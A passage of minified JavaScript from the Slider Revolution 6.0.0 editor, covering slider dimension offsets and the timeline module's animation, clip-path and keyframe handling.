0!==RVS.SLIDER[i].slide.bg.imageRatio&&(t=parseInt(RVS.SLIDER.settings.size.height[e],0)*RVS.SLIDER[i].slide.bg.imageRatio)}return t},RVS.F.sliderDimensionOffsets=function(){var e={};return e.carouseltop="carousel"===RVS.SLIDER.settings.type?parseInt(RVS.SLIDER.settings.carousel.paddingTop,0):0,e.carouselbottom="carousel"===RVS.SLIDER.settings.type?parseInt(RVS.SLIDER.settings.carousel.paddingBottom,0):0,e.carouseloffset="carousel"===RVS.SLIDER.settings.type?e.carouseltop+e.carouselbottom:0,e.navtop="outer-top"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.top:0,e.navtop="outer-top"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.top:e.navtop,e.navbottom="outer-bottom"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.bottom:0,e.navbottom="outer-bottom"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.bottom:e.navbottom,e.navleft="outer-left"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.left:0,e.navleft="outer-left"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.left:e.navleft,e.navright="outer-right"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set?RVS.S.navOffset.thumbs.right:0,e.navright="outer-right"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set?RVS.S.navOffset.tabs.right:e.navright,e.louter="outer-left"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set||"outer-left"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set,e.router="outer-right"===RVS.SLIDER.settings.nav.thumbs.innerOuter&&RVS.SLIDER.settings.nav.thumbs.set||"outer-right"===RVS.SLIDER.settings.nav.tabs.innerOuter&&RVS.SLIDER.settings.nav.tabs.set,e},RVS.F.updateMinSliderHeights=function(){return S=void 0===c?0:c,c=void 0!==RVS.C.layergrid?RVS.C.rZone.top.height()+RVS.C.rZone.middle.height()+RVS.C.rZone.bottom.height():0,S!==c},RVS.F.updateScreenShrinks=function(){var e=RVS.F.GW("d");for(var t in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(t)){var i=RVS.V.sizes[t],a=RVS.SLIDER.settings.size.custom[i]?RVS.F.GW(i):Math.min(e,RVS.ENV.grid_sizes[i]);RVS.S.shrink[i]=a/e,e=a}}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR TIMELINE JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function(){var e,t,i,a,r,s,o,n,l,d=["chars","words","lines"],S=[];function c(e){var t=jQuery.extend(!0,{},e);return delete t.borderWidth,delete t.borderStyle,delete t.borderColor,delete t.backgroundColor,delete t.background,delete t.backgroundImage,delete t["backdrop-filter"],t}function p(e){return void 0===e?"start":"backward"===e?"end":"middletoedge"===e?"center":"edgetomiddle"===e?"edge":e}function R(e){e.from="edge"===e.from?"edges":e.from;let t=tpGS.gsap.utils.distribute(e);return function(i,a,r){return t(i,a,r)+(i<=r.length/2?0:e.offset||0)}}function u(e){var t;for(var i in e)"string"==typeof e[i]&&e[i].indexOf("|")>=0&&(t=e[i].replace("[","").replace("]","").split("|"),e[i]=new function(e){return tpGS.gsap.utils.wrap(t,void 0)});return e}function V(e,t,i){if(void 0!==e&&e.indexOf("block")>=0){var a={};switch(a.bmask_in=t.querySelector(".tp-blockmask_in"),null===a.bmask_in?(a.bmask_in=RVS.F.cE({cN:"tp-blockmask_in"}),a.bmask_out=RVS.F.cE({cN:"tp-blockmask_out"}),t.appendChild(a.bmask_in),t.appendChild(a.bmask_out)):a.bmask_out=t.querySelector(".tp-blockmask_out"),i=void 0===i?"power3.inOut":i,a.ft=[{scaleY:1,scaleX:0,transformOrigin:"0% 50%"},{scaleY:1,scaleX:1,ease:i,immediateRender:!1}],a.t={scaleY:1,scaleX:0,transformOrigin:"100% 50%",ease:i,immediateRender:!1},a.type="block",e){case"blocktoleft":case"blockfromright":a.ft[0].transformOrigin="100% 50%",a.t.transformOrigin="0% 50%";break;case"blockfromtop":case"blocktobottom":a.ft=[{scaleX:1,scaleY:0,transformOrigin:"50% 0%"},{scaleX:1,scaleY:1,ease:i,immediateRender:!1}],a.t={scaleX:1,scaleY:0,transformOrigin:"50% 100%",ease:i,immediateRender:!1};break;case"blocktotop":case"blockfrombottom":a.ft=[{scaleX:1,scaleY:0,transformOrigin:"50% 100%"},{scaleX:1,scaleY:1,ease:i,immediateRender:!1}],a.t={scaleX:1,scaleY:0,transformOrigin:"50% 0%",ease:i,immediateRender:!1}}return a.ft[1].overwrite="auto",a.t.overwrite="auto",a}return!1}function y(e){var t,i=void 0===e.source?jQuery.extend(!0,{},e.frame.transform):jQuery.extend(!0,{},e.frame[e.source]),a={originX:"50%",originY:"50%",originZ:"0"};for(var r in i)if(i.hasOwnProperty(r)){if(i[r]="object"==typeof i[r]?i[r][RVS.screen].v:i[r],"inherit"===i[r]||"delay"===r||"direction"===r||"use"===r||"fuse"===r)delete i[r];else if("originX"===r||"originY"===r||"originZ"===r)a[r]=i[r],delete i[r];else if("perspective"!==r&&"transformPerspective"!==r||"global"!==RVS.SLIDER.settings.general.perspectiveType&&"isometric"!==RVS.SLIDER.settings.general.perspectiveType||(i[r]="isometric"===RVS.SLIDER.settings.general.perspectiveType?0:RVS.SLIDER.settings.general.perspective),RVS.F.isNumeric(i[r],0))i[r]=i[r];else if(i[r].match(/[\{\}]/g))i[r]="random("+i[r].replace(/[\{&&\}]+/g,"")+")";else if(i[r].match(/%/g)&&RVS.F.isNumeric(parseInt(i[r],0)))t=void 0===t?{height:RVS.H[e.layerid].w.height(),width:RVS.H[e.layerid].w.width()}:t,i[r]="x"==r?t.width*parseInt(i[r],0)/100:"y"==r?t.height*parseInt(i[r],0)/100:i[r];else if(i[r].match(/[\[\]]/g)){var s=i[r].replace("[","").replace("]","").split("|");i[r]=new function(e){return tpGS.gsap.utils.wrap(s,void 0)}}else{var o=RVS.H[e.layerid].w.position(),n="slide"===RVS.L[e.layerid].behavior.baseAlign?RVS.S.layer_grid_offset.left:0,l=-1===RVS.L[e.layerid].group.puid?RVS.S.lgh:void 0===RVS.H[RVS.L[e.layerid].group.puid]?RVS.S.lgh:RVS.H[RVS.L[e.layerid].group.puid].w.height(),d=-1===RVS.L[e.layerid].group.puid?RVS.S.lgw:void 0===RVS.H[RVS.L[e.layerid].group.puid]?RVS.S.lgw:RVS.H[RVS.L[e.layerid].group.puid].w.width(),S={t:0,b:0};switch("row"===RVS.L[e.layerid].type&&("top"===RVS.L[e.layerid].group.puid?S={t:0,b:Math.round(RVS.C.rZone.top[0].offsetHeight)}:"middle"===RVS.L[e.layerid].group.puid?S={t:Math.round(RVS.S.ulDIM.height/2-RVS.C.rZone.middle[0].offsetHeight/2),b:Math.round(RVS.S.ulDIM.height/2+RVS.C.rZone.middle[0].offsetHeight/2)}:"bottom"===RVS.L[e.layerid].group.puid&&(S={t:Math.round(RVS.S.ulDIM.height-RVS.C.rZone.bottom[0].offsetHeight),b:RVS.S.ulDIM.height+RVS.C.rZone.bottom[0].offsetHeight})),t=void 0===t?{height:RVS.H[e.layerid].w.height(),width:RVS.H[e.layerid].w.width()}:t,i[r]){case"top":i[r]=0-t.height-o.top-S.b;break;case"bottom":i[r]=l-o.top-S.t;break;case"left":i[r]=n-t.width-o.left;break;case"right":i[r]=d-o.left;break;case"middle":case"center":i[r]="x"===r?d/2-o.left-t.width/2:"y"===r?l/2-o.top-t.height/2:i[r]}}"skewX"===r&&void 0!==i[r]&&0!==parseFloat(i[r])&&(i.scaleY=void 0===i.scaleY?1:parseFloat(i.scaleY),i.scaleY*=Math.cos(parseFloat(i[r])*tpGS.DEG2RAD)),"skewY"===r&&void 0!==i[r]&0!==parseFloat(i[r])&&(i.scaleX=void 0===i.scaleX?1:parseFloat(i.scaleX),i.scaleX*=Math.cos(parseFloat(i[r])*tpGS.DEG2RAD))}if(i.transformOrigin=a.originX+" "+a.originY+" "+a.originZ,i.clip&&RVS.L[e.layerid].timeline.clipPath.use){var c="rectangle"==RVS.L[e.layerid].timeline.clipPath.type,p=parseInt(i.clip,0),R=100-parseInt(i.clipB,0),u=Math.round(p/2);switch(RVS.L[e.layerid].timeline.clipPath.origin){case"invh":i.clipPath="polygon(0% 0%, 0% 100%, "+p+"% 100%, "+p+"% 0%, 100% 0%, 100% 100%, "+R+"% 100%, "+R+"% 0%, 0% 0%)";break;case"invv":i.clipPath="polygon(100% 0%, 0% 0%, 0% "+p+"%, 100% "+p+"%, 100% 100%, 0% 100%, 0% "+R+"%, 100% "+R+"%, 100% 0%)";break;case"cv":i.clipPath=c?"polygon("+(50-u)+"% 0%, "+(50+u)+"% 0%, "+(50+u)+"% 100%, "+(50-u)+"% 100%)":"circle("+p+"% at 50% 50%)";break;case"ch":i.clipPath=c?"polygon(0% "+(50-u)+"%, 0% "+(50+u)+"%, 100% "+(50+u)+"%, 100% "+(50-u)+"%)":"circle("+p+"% at 50% 50%)";break;case"l":i.clipPath=c?"polygon(0% 0%, "+p+"% 0%, "+p+"% 100%, 0% 100%)":"circle("+p+"% at 0% 50%)";break;case"r":i.clipPath=c?"polygon("+(100-p)+"% 0%, 100% 0%, 100% 100%, "+(100-p)+"% 100%)":"circle("+p+"% at 100% 50%)";break;case"t":i.clipPath=c?"polygon(0% 0%, 100% 0%, 100% "+p+"%, 0% "+p+"%)":"circle("+p+"% at 50% 0%)";break;case"b":i.clipPath=c?"polygon(0% 100%, 100% 100%, 100% "+(100-p)+"%, 0% "+(100-p)+"%)":"circle("+p+"% at 50% 100%)";break;case"lt":i.clipPath=c?"polygon(0% 0%,"+2*p+"% 0%, 0% "+2*p+"%)":"circle("+p+"% at 0% 0%)";break;case"lb":i.clipPath=c?"polygon(0% "+(100-2*p)+"%, 0% 100%,"+2*p+"% 100%)":"circle("+p+"% at 0% 100%)";break;case"rt":i.clipPath=c?"polygon("+(100-2*p)+"% 0%, 100% 0%, 100% "+2*p+"%)":"circle("+p+"% at 100% 0%)";break;case"rb":i.clipPath=c?"polygon("+(100-2*p)+"% 100%, 100% 100%, 100% "+(100-2*p)+"%)":"circle("+p+"% at 100% 100%)";break;case"clr":i.clipPath=c?"polygon(0% 0%, 0% "+p+"%, "+(100-p)+"% 100%, 100% 100%, 100% "+(100-p)+"%, "+p+"% 0%)":"circle("+p+"% at 50% 50%)";break;case"crl":i.clipPath=c?"polygon(0% "+(100-p)+"%, 0% 100%, "+p+"% 100%, 100% "+p+"%, 100% 0%, "+(100-p)+"% 0%)":"circle("+p+"% at 50% 50%)"}!0!==RVS.F.isFirefox()&&(i["-webkit-clip-path"]=i.clipPath),i["clip-path"]=i.clipPath,delete i.clip}else i.clip&&(i.clipPath=RVS.L[e.layerid].idle.spikeUse?"polygon("+RVS.F.getClipPaths(RVS.L[e.layerid].idle.spikeLeft,0,parseFloat(RVS.L[e.layerid].idle.spikeLeftWidth))+","+RVS.F.getClipPaths(RVS.L[e.layerid].idle.spikeRight,100,100-parseFloat(RVS.L[e.layerid].idle.spikeRightWidth),!0)+")":"none",!0!==RVS.F.isFirefox()&&(i["-webkit-clip-path"]=i.clipPath),i["clip-path"]=i.clipPath,delete i.clip);return void 0!==e.frame&&void 0!==e.frame.bfilter&&e.frame.bfilter.use&&(i["backdrop-filter"]=RVS.F.buildBackdropFilter(e.frame.bfilter)),void 0!==e.frame&&void 0!==e.frame.filter&&e.frame.filter.use?(i.filter=RVS.F.buildFilter(e.frame.filter),i["-webkit-filter"]=i.filter):jQuery.inArray(e.source,["chars","words","lines"])>=0&&e.frame[e.source].fuse?(i.filter=RVS.F.buildFilter(e.frame[e.source]),i["-webkit-filter"]=i.filter):e.sessionFilterUsed||void 0===e.sessionFilterUsed?(i["-webkit-filter"]="blur(0px) grayscale(0%) brightness(100%)",i.filter="blur(0px) grayscale(0%) brightness(100%)"):(i["-webkit-filter"]="none",i.filter="none"),i.ease=void 0!==i.ease?i.ease:void 0===i.ease&&void 0!==e.ease||void 0!==i.ease&&void 0!==e.ease&&"inherit"===i.ease?e.ease:e.frame.timeline.ease,i.ease=void 0===i.ease||"default"===i.ease?"power3.inOut":i.ease,i.force3D="auto",i}function m(e,t){e=e<0?0:e;var i=Math.floor(e/6e3),a=Math.floor(Math.ceil(e-6e3*i)/100),r=Math.round(e-100*a-6e3*i);0==i?i="00":i<10&&(i="0"+i.toString()),0==a?a="00":a<10&&(a="0"+a.toString()),0==r?r="00":r<10&&(r="0"+r.toString()),t.ctm.textContent=i.toString(),t.cts.textContent=a.toString(),t.ctms.textContent=r.toString()}RVS.F.initTimeLineModules=function(){RVS.ENV.tlGridWrap=void 0===RVS.ENV.tlGridWrap?jQuery("#tl_gridmanagement_wrap"):RVS.ENV.tlGridWrap,RVS.ENV.tlMultipWrap=void 0===RVS.ENV.tlMultipWrap?jQuery(".tl_multip_wrap"):RVS.ENV.tlMultipWrap,RVS.ENV.tlMagnifWrap=void 0===RVS.ENV.tlMagnifWrap?jQuery(".tl_magnifying_wrap"):RVS.ENV.tlMagnifWrap,RVS.DOC.on("click","#maxtime",function(){jQuery(".slide_submodule_trigger.selected").removeClass("selected"),RVS.F.mainMode({mode:"slidelayout",forms:["*slidelayout**mode__slidestyle*#form_slide_progress"],set:!0,uncollapse:!0,slide:RVS.S.slideId})}),RVS.DOC.on("updateAllLayerFrames",RVS.F.updateAllLayerFrames),RVS.DOC.on("updateSlideLoopRange",function(){RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.set&&RVS.F.updateSlideLoopTimes({cont:!0,pos:!0,start:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.start/10,end:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.end/10})}),RVS.DOC.on("updateFixedScrollRange",function(){RVS.SLIDER.settings.scrolltimeline.set&&RVS.SLIDER.settings.scrolltimeline.fixed&&RVS.F.updateFixedScrollTimes({cont:!0,pos:!0,start:parseInt(RVS.SLIDER.settings.scrolltimeline.fixedStart)/10,end:parseInt(RVS.SLIDER.settings.scrolltimeline.fixedEnd)/10})}),RVS.DOC.on("click","#the_slide_timeline",function(){return RVS.F.selectLayers({overwrite:!0}),jQuery(".slide_submodule_trigger.selected").removeClass("selected"),RVS.F.mainMode({mode:"slidelayout",forms:["*slidelayout**mode__slidestyle*#form_slide_transition"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),!1}),RVS.DOC.on("click","#tl_multiplicator",function(){RVS.ENV.tlMultipWrap.toggleClass("selected"),RVS.ENV.tlMultipWrap.hasClass("selected")&&(RVS.ENV.tlMagnifWrap.removeClass("selected"),RVS.ENV.tlGridWrap.removeClass("selected"),RVS.F.clearSnapVisual())}),RVS.DOC.on("click","#tl_framemagnet",function(){RVS.ENV.tlMagnifWrap.toggleClass("selected"),RVS.ENV.tlMagnifWrap.hasClass("selected")&&(RVS.ENV.tlMultipWrap.removeClass("selected"),RVS.ENV.tlGridWrap.removeClass("selected"),RVS.F.clearSnapVisual())}),RVS.DOC.on("click","#tl_gridmanagement",function(){RVS.F.updateEasyInputs({container:RVS.ENV.tlGridWrap,visualUpdate:!0}),RVS.ENV.tlGridWrap.toggleClass("selected"),RVS.ENV.tlGridWrap.hasClass("selected")?(RVS.F.snapVisual(),RVS.ENV.tlMagnifWrap.removeClass("selected"),RVS.ENV.tlMultipWrap.removeClass("selected")):RVS.F.clearSnapVisual()}),RVS.DOC.on("click",".closeme_tl_miniwrapper",function(){RVS.ENV.tlGridWrap.removeClass("selected"),RVS.ENV.tlMagnifWrap.removeClass("selected"),RVS.ENV.tlMultipWrap.removeClass("selected")}),RVS.DOC.on("magnetframes",function(e,t){void 0!==t&&void 0!==t.val&&(s=t.val)}),RVS.DOC.on("click","#gsf_ok",function(){var e=parseInt(document.getElementById("general_speed_factor").value,0);if(RVS.F.isNumeric(e)&&100!==e){for(var t in e/=100,RVS.F.openBackupGroup({id:"frame",txt:"General Timings",icon:"access_time"}),RVS.L)if(void 0!==RVS.L[t].timeline)for(var i in RVS.L[t].timeline.frames){if(!RVS.L[t].timeline.frames.hasOwnProperty(i))continue;let a=RVS.L[t].timeline.frames[i];RVS.F.isNumeric(parseInt(a.timeline.start,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".timeline.start",val:Math.round(parseInt(a.timeline.start,0)*e)}),RVS.F.isNumeric(parseInt(a.timeline.speed,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".timeline.speed",val:Math.round(parseInt(a.timeline.speed,0)*e)}),a.words.use&&RVS.F.isNumeric(parseInt(a.words.delay,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".words.delay",val:Math.round(parseInt(a.words.delay,0)*e)}),a.chars.use&&RVS.F.isNumeric(parseInt(a.chars.delay,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".chars.delay",val:Math.round(parseInt(a.chars.delay,0)*e)}),a.lines.use&&RVS.F.isNumeric(parseInt(a.lines.delay,0))&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+t+".timeline.frames."+i+".lines.delay",val:Math.round(parseInt(a.lines.delay,0)*e)})}RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.timeline.delay",val:10*Math.round(RVS.F.getSlideLength()*e)}),RVS.F.isNumeric(RVS.SLIDER[RVS.S.slideId].slide.slideChange.speed)&&RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.slideChange.speed",val:Math.round(RVS.SLIDER[RVS.S.slideId].slide.slideChange.speed*e)}),RVS.F.updateAllLayerFrames(),requestAnimationFrame(function(){RVS.F.updateSlideFrames()}),RVS.F.closeBackupGroup({id:"frame"}),RVS.DOC.trigger("updateMaxTime")}document.getElementById("general_speed_factor").value="100%"}),RVS.DOC.on("updateMaxTime",function(e,t){for(var i in RVS.F.updateMaxTime({pos:!0,cont:!0}),RVS.SLIDER.slideIDs){var a=RVS.SLIDER.slideIDs[i];if(!(void 0===a||(""+a).indexOf("static")>=0))for(var s in r=RVS.F.getSlideLength(a),_=RVS.F.getSlideLayersEndWithSlide(a),_)_.hasOwnProperty(s)&&_[s].endWithSlide&&(RVS.SLIDER[a].layers[s].timeline.frames.frame_999.timeline.start=10*r,""+a==""+RVS.S.slideId&&RVS.F.updateLayerFrame({layerid:s,frame:"frame_999",maxtime:r}))}}),RVS.DOC.on("windowresized",function(){RVS.TL.hasOwnProperty("cache")&&(RVS.TL.timelineStartedFromPlayStop=!1,RVS.TL.cache.main=0,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}),RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}))}),RVS.DOC.on("updateSlideTransitionTimeLine",function(){requestAnimationFrame(function(){RVS.F.updateSlideFrames(),RVS.F.redrawSlideBG()})}),RVS.DOC.on("playTimeLine",function(){RVS.F.changeSwitchState({el:document.getElementById("timline_process"),state:"stop"}),RVS.TL.timelineStartedFromPlayStop=!0,RVS.F.buildMainTimeLine();var e=RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main?RVS.TL[RVS.S.slideId].main.time():0;RVS.F.updateTimeLine({force:!0,state:"time",time:e,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0}),RVS.F.updateTimeLine({state:"play",timeline:"main",force:!1})}),RVS.DOC.on("stopTimeLine",function(){RVS.TL.cache.main=0,RVS.TL.timelineStartedFromPlayStop=!1,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}),RVS.F.buildMainTimeLine(),RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})}),RVS.DOC.on("previewLayerAnimation",function(){for(var e in RVS.S.shwLayerAnim=!0,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"stop"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"stop"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(e)&&(RVS.F.renderLayerAnimation({layerid:RVS.selLayers[e]}),RVS.F.playLayerAnimation({layerid:RVS.selLayers[e]}))}),RVS.DOC.on("previewStopLayerAnimation",function(){RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"}),RVS.F.stopAllLayerAnimation()}),RVS.DOC.on("click","#copy_keyframe",function(){1==RVS.selLayers.length&&void 0!==RVS.S.keyFrame&&(l=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]),jQuery("#paste_keyframe").show())}),RVS.DOC.on("click","#paste_keyframe",function(){if(1==RVS.selLayers.length&&void 0!==RVS.S.keyFrame){var e=RVS.F.getPrevNextFrame({layerid:RVS.selLayers[0],frame:RVS.S.keyFrame});if(e.next.start>=e.cur.end+l.timeline.frameLength){var t=RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame];l.timeline.actionTriggered=t.timeline.actionTriggered,l.timeline.start=t.timeline.start,l.timeline.startRelative=t.timeline.startRelative,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".timeline.frames."+RVS.S.keyFrame,val:l}),RVS.DOC.trigger("updateKeyFramesList"),RVS.F.updateAllLayerFrames(),RVS.F.updateLayerInputFields()}else RVS.F.showInfo({content:RVS_LANG.framesizecannotbeextended,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})}}),RVS.TL.c.layertime=jQuery("#layer_simulator_time"),RVS.TL.c.layerprogress=jQuery("#layer_animation_progressarrow")},RVS.F.animateSlide=function(e,t,i,a){},RVS.F.buildMainTimeLine=function(e){RVS.TL[RVS.S.slideId].main=new tpGS.TimelineMax({paused:!0}),RVS.TL[RVS.S.slideId]=void 0===RVS.TL[RVS.S.slideId]?{}:RVS.TL[RVS.S.slideId],RVS.TL[RVS.S.slideId].slide=void 0===RVS.TL[RVS.S.slideId].slide?new tpGS.gsap.timeline:RVS.TL[RVS.S.slideId].slide,RVS.TL[RVS.S.slideId].main.add(RVS.TL[RVS.S.slideId].slide,0),RVS.TL[RVS.S.slideId].main.add("end",RVS.F.getSlideLength()/100),window.tpfake=1,RVS.TL[RVS.S.slideId].main.add(new tpGS.gsap.set(window,{tpfake:0}),"end"),RVS.SLIDER[RVS.S.slideId].slide.panzoom.set&&void 0!==RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].main.add(RVS.TL[RVS.S.slideId].panzoom,0),e&&(e.time||e.progress)&&RVS.F.updateTimeLine({timeline:"main",state:"time",time:e.tim}),RVS.TL[RVS.S.slideId].main.eventCallback("onUpdate",function(){RVS.F.updateCurTime({pos:!0,cont:!0,left:100*this._time,refreshMainTimeLine:!1,caller:"buildMainTimeLine"})}),RVS.TL[RVS.S.slideId].main.eventCallback("onComplete",function(){RVS.TL.timelineStartedFromPlayStop&&(RVS.TL.timelineStartedFromPlayStop=!1,RVS.TL.cache.main=0,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"}))})},RVS.F.resetSlideTL=function(){void 0!==RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.kill(),RVS.TL[RVS.S.slideId].slide=new tpGS.gsap.timeline},RVS.F.updateFramesZIndexes=function(e){var t=1e3;for(var i in void 0===RVS.L[e.layerid].timeline.frameOrder&&RVS.F.getFrameOrder({layerid:e.layerid}),RVS.L[e.layerid].timeline.frameOrder)if(RVS.L[e.layerid].timeline.frameOrder.hasOwnProperty(i)&&"frame_0"!==RVS.L[e.layerid].timeline.frameOrder[i].id){var a=document.getElementById(RVS.S.slideId+"_"+e.layerid+"_"+RVS.L[e.layerid].timeline.frameOrder[i].id);a&&tpGS.gsap.set(a,{zIndex:t}),t--}},RVS.F.addFrame=function(e){var t={wrap:e.container,bg:jQuery(e.container.getElementsByTagName("framebg")[0]),frame:RVS.F.cE({t:"framewrap",id:RVS.S.slideId+"_"+e.layerid+"_"+e.frame,cN:"frame_"+e.frame,ds:{layertype:e.layertype,layerid:e.layerid,frame:e.frame}}),framedelay:RVS.F.cE({t:"framedelay"}),info:RVS.F.cE({t:"frameinfo"}),sloop:RVS.F.cE({t:"startloop"}),eloop:RVS.F.cE({t:"endloop"}),marker:RVS.F.cE({t:"marker"}),obj:e};return"frame_1"===e.frame&&(t.frame.appendChild(RVS.F.cE({t:"ffbefore",ds:{frame:"frame_0"}})),t.frame.appendChild(RVS.F.cE({t:"ffafter",ds:{frame:"frame_1"}}))),t.framedelay.textContent="2500",t.sloop.appendChild(RVS.F.cI({c:"chevron_right"})),t.eloop.appendChild(RVS.F.cI({c:"chevron_left"})),t.frame.appendChild(t.framedelay),t.frame.appendChild(t.sloop),t.frame.appendChild(t.eloop),t.frame.appendChild(t.info),t.frame.appendChild(t.marker),e.container.appendChild(t.frame),void 0===RVS.TL.frameMouseListenerObjects&&(RVS.TL.frameMouseListenerObjects={},RVS.DOC.on("mouseenter","framewrap",function(){if(void 0===this.dataset.mlisteners){this.dataset.mlisteners=!0;var e=RVS.TL.frameMouseListenerObjects[this.id];e.jframe=jQuery(e.frame),void 0!==e.obj.resize&&e.jframe.resizable({handles:e.obj.resize,minWidth:5,start:e.obj.start,stop:e.obj.stopresize,resize:e.obj.onresize}),void 0!==e.obj.ondrag&&(e.jframe.draggable({axis:"x",delay:50,start:e.obj.start,stop:e.obj.stopdrag,drag:e.obj.ondrag}),e.bg.draggable({axis:"x",delay:50,start:e.obj.start,stop:e.obj.stopdrag,drag:e.obj.ondrag}))}})),RVS.TL.frameMouseListenerObjects[t.frame.id]=t,t},RVS.F.buildSlideFrames=function(){RVS.TL.fref=void 0===RVS.TL.fref?RVS.F.addFrame({container:document.querySelector("#slide_frame_container .frameswrap"),frame:"0",resize:"e",layerid:"",start:function(e,t){i=(i=RVS.TL[RVS.S.slideId]&&RVS.TL[RVS.S.slideId].main?RVS.TL[RVS.S.slideId].main.time():0)<.0015?"idle":i,a=t.element.find("frameinfo"),r=RVS.F.getSlideLength(),RVS.TL.inDrag=!0},onresize:function(e,t){t.size.width=t.size.width<=r?t.size.width:r;var s=RVS.F.slideAnimWithMoreRowCol()?10*t.size.width/(1+1/(RVS.SLIDER[RVS.S.slideId].slide.slideChange.d/10)):10*t.size.width;RVS.F.updateSliderObj({path:RVS.S.slideId+".slide.slideChange.speed",val:Math.round(s),ignoreBackup:!0}),RVS.F.buildMainTimeLine({time:i}),RVS.F.redrawSlideBG(),a[0].innerHTML=10*t.size.width,document.getElementById("sltrans_duration").value=Math.round(s)},stopresize:function(e,t){var a=RVS.F.slideAnimWithMoreRowCol()?10*t.size.width/(1+1/(RVS.SLIDER[RVS.S.slideId].slide.slideChange.d/10)):10*t.size.width;RVS.F.backup({path:RVS.S.slideId+".slide.slideChange.speed",lastkey:"speed",val:Math.round(a),old:10*t.originalSize.width}),RVS.F.buildMainTimeLine({time:i}),RVS.F.timelineDragsStop(),RVS.F.redrawSlideBG(),document.getElementById("sltrans_duration").value=Math.round(a),requestAnimationFrame(function(){RVS.F.updateSlideFrames()})}}):RVS.TL.fref,requestAnimationFrame(function(){RVS.F.updateSlideFrames()})},RVS.F.slideAnimWithMoreRowCol=function(){let e=RVS.SLIDER[RVS.S.slideId].slide.slideChange.in.row>1||RVS.SLIDER[RVS.S.slideId].slide.slideChange.in.col>1;for(var t in RVS.JHOOKS.slideAnimRowColCheck)RVS.JHOOKS.slideAnimRowColCheck.hasOwnProperty(t)&&(e=RVS.JHOOKS.slideAnimRowColCheck[t](e));return e},RVS.F.updateSlideFrames=function(e){(e=void 0===e?{}:e).slidedelay=void 0===e.slidedelay?RVS.F.getSlideLength():e.slidedelay;var t=RVS.SLIDER[RVS.S.slideId].slide.slideChange.speed;t="default"===t||"Default"===t||"Random"===t?1e3:parseFloat(t,0);var i=RVS.F.slideAnimWithMoreRowCol()?t/(RVS.SLIDER[RVS.S.slideId].slide.slideChange.d/10):0;t=Math.round(Math.round(t+i)/10),RVS.TL.ssubref=void 0===RVS.TL.ssubref?document.getElementById("slideframespeed_sub"):RVS.TL.ssubref,e.animspeed=void 0===e.animspeed?t:e.animspeed,RVS.TL.ssubref.innerHTML="("+10*e.animspeed+")",tpGS.gsap.set(RVS.TL.fref.wrap,{width:e.slidedelay}),tpGS.gsap.set(RVS.TL.fref.frame,{width:e.animspeed}),RVS.TL.fref.info.innerHTML=10*e.animspeed},RVS.F.addLayerFrames=function(e,t){RVS.TL[RVS.S.slideId].layers=void 0===RVS.TL[RVS.S.slideId].layers?{}:RVS.TL[RVS.S.slideId].layers,RVS.TL[RVS.S.slideId].layers[e.uid]=void 0===RVS.TL[RVS.S.slideId].layers[e.uid]?{}:RVS.TL[RVS.S.slideId].layers[e.uid];var i=10*RVS.F.getSlideLength();for(var a in void 